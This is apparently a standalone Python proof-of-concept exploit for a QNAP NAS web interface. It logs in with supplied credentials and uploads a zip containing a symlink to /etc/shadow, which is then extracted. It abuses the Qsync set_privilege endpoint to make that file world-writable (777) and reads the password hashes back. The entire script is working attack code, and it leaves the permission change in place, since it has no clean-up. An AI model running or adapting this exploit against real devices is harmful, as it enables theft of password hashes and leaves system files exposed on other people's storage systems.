#!/usr/bin/env python3 from requests import Session import base64 import os import re import time import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) DEBUG_PROXY = 'http://localhost:8080' ENDPOINT = 'https://192.168.178.153' # Adjust USERNAME = 'victim' # Adjust PASSWORD = 'Victim123!' # Adjust FILE = '/etc/shadow' # Adjust if you want # cleanup: cd /share/homes/USERNAME && rm -f pwn.zip && rm -f pwn/* && rmdir pwn def main() -> None: session = Session() #session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY) session.verify = False print('Carefull, privileges of %s are changed to 777! Clean up is not implemented' % FILE) print('creating zip file') os.system("rm -f pwned.txt pwn.zip") os.system("ln -s %s pwned.txt" % FILE) os.system("zip --symlink pwn.zip pwned.txt") print('loggin in') response = session.post( f'{ENDPOINT}/cgi-bin/authLogin.cgi', headers={'Content-type': 'application/x-www-form-urlencoded'}, data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'}, ) assert response.status_code == 200 match = re.search(r'', response.text) assert match sid = match.group(1) print('uploading zip file') with open('pwn.zip', 'rb') as file: upload_file(session, sid, 'pwn.zip', file.read()) print('unpacking zip file') response = session.post( f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/.Qsync/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/.Qsync'}, ) assert response.status_code == 200 data = response.json() assert data['status'] == 1 time.sleep(5) print('changing privileges on file') response = session.get( f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid={sid}&source_path=/home/.Qsync/&source_file=pwned.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1') assert response.status_code == 200 data = response.json() assert data['status'] == 1 # TODO: why does it return status 5 on first run? print('read file') response = session.get( f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi/pwned.txt?sid={sid}&func=get_viewer&source_path=%2Fhome%2F.Qsync&source_file=pwned.txt') assert response.status_code == 200 print(response.text) print('done') def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None: # get upload id response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid}) assert response.status_code == 200 data = response.json() upload_id = data['upload_id'] assert upload_id # upload file response = session.post( f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome%2F.Qsync&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0', #headers={'Content-Type': 'multipart/form-data'}, files=( ('fileName', (None, filename.encode('ascii'))), ('file', ('blob', content, 'application/octet-stream')), ), ) assert response.status_code == 200 data = response.json() assert data['status'] == 1 if __name__ == '__main__': main()